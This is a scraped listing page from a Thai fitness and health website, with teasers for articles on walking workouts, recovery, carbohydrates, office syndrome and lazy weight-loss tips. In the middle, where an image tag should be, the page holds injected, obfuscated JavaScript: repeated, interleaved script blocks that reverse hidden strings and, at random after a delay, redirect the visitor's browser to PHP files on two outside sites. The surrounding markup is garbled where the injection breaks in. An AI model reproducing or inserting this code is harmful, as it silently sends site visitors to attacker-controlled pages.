© 2014STEP EXTRA
Healthy Tips
WALKING WORKOUT: 6 วิธีเดินอย่างไรให้ผอมเร็ว
วิธีเผาผลาญไขมันที่ดีที่สุดไม่ใช่มีแต่วิธีการวิ่งเพียงอย่างเดียว แต่การเดินออกกำลังกายก็สามารถช่วยเผาผลาญไขมันได้ดีไม่แพ้การวิ่งเหมือนกัน
HEALTHY TIP: พฤติกรรมช่วงเย็นเเย่ๆ มีผลต่อการนอนหลับนะ
สำหรับนักวิ่งการเริ่มต้นวันใหม่อย่างไรถือว่าสำคัญมาก แต่จะจบอย่างไรให้สวยก็ยิ่งสำคัญกว่า
นั่งนานเกินไประวัง Office Syndrome ถามหานะ
ทุกวันนี้เราทำงานหน้าคอมมากขึ้น ทำงานกินเวลานานจนเราอาจจะลืมตัว ลืมเคลื่อนไหวร่างกาย ถ้าทำอย่างนี้นานๆ เข้า จะทำให้เราเกิด office syndrome ขึ้นได้ นั่งนานเกินไประวัง Office Syndrome ถามหานะ ผลจากการจากศึกษากลุ่มตัวอย่างในปี 2001-2016 ในเด็ก วัยรุ่นและผู้ใหญ่ จำนวนกว่า 52,000 คน...
วันไหนไม่วิ่ง เดินก็ได้นะ….เดินดีๆก็มีประโยชน์ต่อสุขภาพเช่นกัน
เรามาดูข้อดีของการเดินเพื่อออกกำลังกายกันว่ามีอะไรกันบ้าง...ประโยชน์ดีๆ ที่มีมากกว่าการสูญเสียเหงื่อ เหมาะสำหรับมือใหม่ที่ไม่เคยออกกำลังกายมาก่อนมาก
ทำไมนักกีฬาอย่างเราถึงหิวตลอดเวลา หรือมีอาการเหนื่อย หรือทั้งสอง
ลองสำรวจตัวเองดูว่า...ถ้ากำลังประสบกับอาการหมดพลังงานตั้งแต่ช่วงบ่ายไปจนถึงช่วงเย็นแก่ๆ หรือมีอาการหิวและต้องค้นตู้เย็นหาของกินช่วงกลางคืนนั้นแสดงว่าร่างกายเรากำลังมีปัญหา
ไม่กินไม่มีเเรง: แป้ง (คาร์โบไฮเดรต) ทำไมถึงสำคัญต่อ performance ของนักกีฬา
เมนูอาหารนักวิ่งมืออาชีพระยะทางไกลระดับโลกโดยส่วนมาก จะรับประทานอาหารที่มีแป้งสูง (carbohydrate-rich diet) ซึ่งเป็นเรื่องปกติ และปริมาณคาร์บคิดเป็น 78% ของอาหารทั้งหมดทีเดียว
นักวิ่งสำรวจตัวเองสักนิด…ทำไมเรารู้สึกเหนื่อยตลอดเวลา
หลายคนอาจไมรู้ การดื่มกาแฟก็เป็นอีกสาเหตุหนึ่งที่ทำให้เราเหนื่อยได้
RECOVERY ร่างกายได้เร็วขึ้นต้องกินอะไรดี
RECOVERY คือการกระทำ พฤติกรรมการฟื้นฟูให้กลับคืนสู่สภาวะปกติ หรือการทำให้ร่างกายกลับมามีสุขภาพดีเหมือนเดิม ทั้งนี้ในการ RECOVERY สารอาหารที่รับเข้าไปนั้นมีผลต่อการ RECOVERY และ PERFORMANCE ของเรามาก
Middle-age workout: 5 กระบวนท่าบริหารร่างกายสำหรับชาววัยกลางคน
การออกกำลังกายและบริหารกล้ามเนื้อ การเล่นเวท จะมีส่วนช่วยให้อายุการใช้งานร่างกายยืดยาวออกไปแถมยังมีส่วนช่วยอย่างมากในการต่อสู้กับอาการออฟฟิตซินโดรม
Made for lazy: 9 วิธีลดน้ำหนักเเบบคนขี้เกียจ
ถึงแม้คุณไม่อาจเอาชนะความขี้เกียจหรือข้อจำกัดบางอย่างได้ แต่สนทางลดน้ำหนักยังมีเสมอ….StepExtra ภูมิใจนำเสนอวิธีเบริ์นแคลอรี่แบบฉบับคนขี้เกียจ
Pre-Runner 6 steps: 6 สเตปเตรียมตัวก่อนเป็นนักวิ่ง เปลี่ยนชีวิตคุณให้ Active มากขึ้น
ก้าวแรกสู่การเป็นนักวิ่งที่สมบูรณ์แบบ เริ่มต้นจากเรื่องง่ายๆ ที่เรามักมองข้าม มันเริ่มจากการใช้ชีวิตประจำวัน อย่างเช่น พฤติกรรมการกิน การนอน และการเคลื่อนไหวใช้งานร่างกายในแต่วัน
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</trust-tru-kats<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>ande-592914-unsplash-350x250.jpg)
สาวๆ อยากน่องสวยต้องวิ่ง (TREADMILL), ปั่นจักรยาน
การวิ่งหรือเดินบนลู่วิ่ง (TREADMILL) และการปั่นจักรยาน (ทั้ง ปั่น OUTDOOR และ STATIONARY) เป็นการออกกำลังกายแบบ CARDIO มีส่วนช่วยให้น่องของคุณสวยและดูลีนขึ้นได้
ดื่มน้ำให้มากขึ้น ให้ประโยชน์มากกว่าที่คุณคิด
น้ำคืออาหารเวทมนต์ ที่ดีที่สุดสำหรับคนที่จะควบคุมน้ำหนัก ไม่ว่าดื่มมากน้อยเเค่ไหนก็ให้พลังงาน 0 แคลอรี่
การอาบน้ำเย็น…ประโยชน์ที่นักวิ่งอาจยังไม่รู้
การอาบน้ำเย็น ไม่ใช้วิธีการทรมานร่างกาย แต่เป็นการฝึกฝนให้ร่างกายและจิตใจให้แข็งแกร่งขึ้น ใครจะรู้ว่าการอาบน้ำเย็นนั้นมีประโยชน์หลายอย่างเลยล่ะ
10 วิธีชาร์จเเบตขา (Recovery) ให้เร็วขึ้น
เชื่อว่านักวิ่งหลายๆ คนเคยพบกับอาการขาแข็งเหมือนคอนกรีตเวลาออกวิ่งไปสักพัก หรือปวดเมื่อยหลังจากซ้อม วันนี้เรามีวิธี Recovery แบบง่ายๆ มาฝาก
STEP EXTRA
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา